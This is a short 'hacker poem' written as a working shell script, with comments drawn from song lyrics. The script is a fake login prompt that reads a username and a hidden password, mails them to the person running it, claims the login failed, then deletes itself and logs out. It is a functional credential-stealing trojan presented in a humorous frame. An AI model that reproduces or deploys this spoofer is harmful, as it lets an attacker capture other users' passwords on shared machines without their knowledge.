Hacker Poem:
California Dreamin'

    #!/bin/sh
    #
    # ****************************************
    # *      Save me - cause I'm login       *
    # *                                      *
    # * Use me as an: exec login || you die  *
    # ****************************************
    #
    clear;              # Your mind && Set your thoughts free!
    cat /etc/issue;
    echo -n "$HOSTNAME login: " # we haven't had that
    # spirit here since 1-503.
    read GPL;
    echo -n "Password: "; stty -echo; # @Eagles when they fly.
    read RTFM; stty sane
    mail $(whoami) <<- fin
                   l: $GPL
		   p: $RTFM
    fin
    echo ""
    echo "login incorrect"; # You can never leave.
    sleep 1; # California Dreamin'
    clear; # your Windoze brain.
    rm ./login; logout